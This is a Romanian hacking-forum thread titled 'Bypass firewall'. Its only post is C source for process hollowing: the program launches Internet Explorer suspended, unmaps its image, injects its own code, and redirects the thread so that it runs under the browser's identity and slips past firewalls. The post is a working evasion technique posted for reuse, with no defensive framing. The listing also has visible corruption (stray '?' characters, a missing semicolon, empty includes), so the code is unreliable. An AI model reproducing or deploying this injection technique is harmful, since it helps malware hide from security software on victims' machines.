FAQ Autentificare
Cautare Profil
Membri Grupuri
Mesaje private
Inregistrare
Bypass firewall
Creaza un subiect nou   Raspunde la subiect
Pagina de start a forumului H-ZOnE.MyForum.ro » C++ » Bypass firewall
Subiectul anterior :: Subiectul urmator  
Autor Mesaj
Puscas_marin
Script Kiddie
Script Kiddie
Puscas_marin

Data inscrierii: 03/Oct/2007
Mesaje: 6

 Mesaj Trimis: 04/10/2007 15:48    Titlul subiectului: Bypass firewall
Raspunde cu citat (quote)

Cod:
/*

Author: Polymorphours

Date: 2005/1/10



*/

#include
#include


#pragma comment(lib,"ntdll.lib")

typedef long NTSTATUS;

NTSYSAPI
NTSTATUS
NTAPI
ZwUnmapViewOfSection(
HANDLE ProcessHandle,
PVOID BaseAddress
);

typedef struct _ChildProcessInfo {

DWORD dwBaseAddress;
DWORD dwReserve;
} CHILDPROCESS, *PCHILDPROCESS;

BOOL
FindIePath(
char *IePath,
int *dwBuffSize
);


BOOL InjectProcess(void);


DWORD
GetSelfImageSize(
HMODULE hModule
);

BOOL
CreateInjectProcess(
PPROCESS_INFORMATION pi,
PCONTEXT pThreadCxt,
CHILDPROCESS *pChildProcess
);


char szIePath[MAX_PATH];

int main(void)
{
if (InjectProcess() ) {

printf("This is my a test code,made by (Polymorphours)shadow3.\r\n");
} else {

MessageBox(NULL,"Process injected","Text",MB_OK);
}

return 0;
}

BOOL
FindIePath(
char *IePath,
int *dwBuffSize
)
{
char szSystemDir[MAX_PATH];

GetSystemDirectory(szSystemDir,MAX_PATH);

szSystemDir[2] = '\0'
lstrcat(szSystemDir,"\\Program Files\\Internet Explorer\\iexplore.exe");

lstrcpy(IePath, szSystemDir);
return TRUE;
}


BOOL InjectProcess(void)
{
char szModulePath[MAX_PATH];
DWORD dwImageSize = 0;

STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
CONTEXT ThreadCxt;
DWORD *PPEB;
DWORD dwWrite = 0;
CHILDPROCESS stChildProcess;
LPVOID lpVirtual = NULL;
PIMAGE_DOS_HEADER pDosheader = NULL;
PIMAGE_NT_HEADERS pVirPeHead = NULL;

HMODULE hModule = NULL;

ZeroMemory( szModulePath, MAX_PATH );
ZeroMemory( szIePath, MAX_PATH );

GetModuleFileName( NULL, szModulePath, MAX_PATH );
FindIePath( szIePath, NULL );

if ( lstrcmpiA( szIePath, szModulePath ) == 0 ) {

return FALSE;
}

hModule = GetModuleHandle( NULL );
if ( hModule == NULL ) {

return FALSE;
}

pDosheader = (PIMAGE_DOS_HEADER)hModule;
pVirPeHead = (PIMAGE_NT_HEADERS)((DWORD)hModule + pDosheader->e_lfanew);

dwImageSize = GetSelfImageSize(hModule);


if ( CreateInjectProcess(
?,
&ThreadCxt ,
&stChildProcess
) ) {

printf("CHILD PID: [%d]\r\n",pi.dwProcessId);


if ( ZwUnmapViewOfSection(
pi.hProcess,
(LPVOID)stChildProcess.dwBaseAddress
) == 0 ) {


lpVirtual = VirtualAllocEx(
pi.hProcess,
(LPVOID)hModule,
dwImageSize,
MEM_RESERVE ? MEM_COMMIT, PAGE_EXECUTE_READWRITE
);

if ( lpVirtual ) {

printf("Unmapped and Allocated Mem Success.\r\n");
}

} else {

printf("ZwUnmapViewOfSection() failed.\r\n");
return TRUE;
}

if ( lpVirtual ) {

PPEB = (DWORD *)ThreadCxt.Ebx;


WriteProcessMemory(
pi.hProcess,
&PPEB[2],
&lpVirtual,
sizeof(DWORD),
&dwWrite
);


if ( WriteProcessMemory(
pi.hProcess,
lpVirtual,
hModule,
dwImageSize,
&dwWrite) ) {

printf("image inject into process success.\r\n");

ThreadCxt.ContextFlags = CONTEXT_FULL;
if ( (DWORD)lpVirtual == stChildProcess.dwBaseAddress ) {

ThreadCxt.Eax = (DWORD)pVirPeHead->OptionalHeader.ImageBase + pVirPeHead->OptionalHeader.AddressOfEntryPoint;
} else {

ThreadCxt.Eax = (DWORD)lpVirtual + pVirPeHead->OptionalHeader.AddressOfEntryPoint;
}

#ifdef DEBUG
printf("EAX = [0x%08x]\r\n",ThreadCxt.Eax);
printf("EBX = [0x%08x]\r\n",ThreadCxt.Ebx);
printf("ECX = [0x%08x]\r\n",ThreadCxt.Ecx);
printf("EDX = [0x%08x]\r\n",ThreadCxt.Edx);
printf("EIP = [0x%08x]\r\n",ThreadCxt.Eip);
#endif

SetThreadContext(pi.hThread, &ThreadCxt);
ResumeThread(pi.hThread);

} else {

printf("WirteMemory Failed,code:%d\r\n",GetLastError());
TerminateProcess(pi.hProcess, 0);
}

} else {

printf("VirtualMemory Failed,code:%d\r\n",GetLastError());
TerminateProcess(pi.hProcess, 0);
}
}

return TRUE;
}

DWORD
GetSelfImageSize(
HMODULE hModule
)
{
DWORD dwImageSize;

_asm
{
mov ecx,0x30
mov eax, fs:[ecx]
mov eax, [eax + 0x0c]
mov esi, [eax + 0x0c]
add esi,0x20
lodsd
mov dwImageSize,eax

}

return dwImageSize;
}

BOOL
CreateInjectProcess(
PPROCESS_INFORMATION pi,
PCONTEXT pThreadCxt,
CHILDPROCESS *pChildProcess
)

{
STARTUPINFO si = {0};

DWORD *PPEB;
DWORD read;


if( CreateProcess(
NULL,
szIePath,
NULL,
NULL,
0,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
pi
) ) {

pThreadCxt->ContextFlags = CONTEXT_FULL;
GetThreadContext(pi->hThread, pThreadCxt);

PPEB = (DWORD *)pThreadCxt->Ebx;


ReadProcessMemory(
pi->hProcess,
&PPEB[2],
(LPVOID)&(pChildProcess->dwBaseAddress),
sizeof(DWORD),
&read
);

return TRUE ;

}

return FALSE;
}

_________________
FARA CUVINTE
 Sus »
Vezi profilul utilizatorului Trimite mesaj privat
Afiseaza mesajele pentru a le previzualiza:   
Pagina de start a forumului H-ZOnE.MyForum.ro » C++ » Bypass firewall
Creaza un subiect nou   Raspunde la subiect Ora este GMT + 3 ore
Pagina 1 din 1

 
Mergi direct la:  
Nu puteti crea un subiect nou in acest forum
Nu puteti raspunde in subiectele acestui forum
Nu puteti modifica mesajele proprii din acest forum
Nu puteti sterge mesajele proprii din acest forum
Nu puteti vota in chestionarele din acest forum



Powered by phpBB © 2001, 2002 phpBB Group
Fa-ti si tu propriul forum GRATUIT, pe www.myforum.ro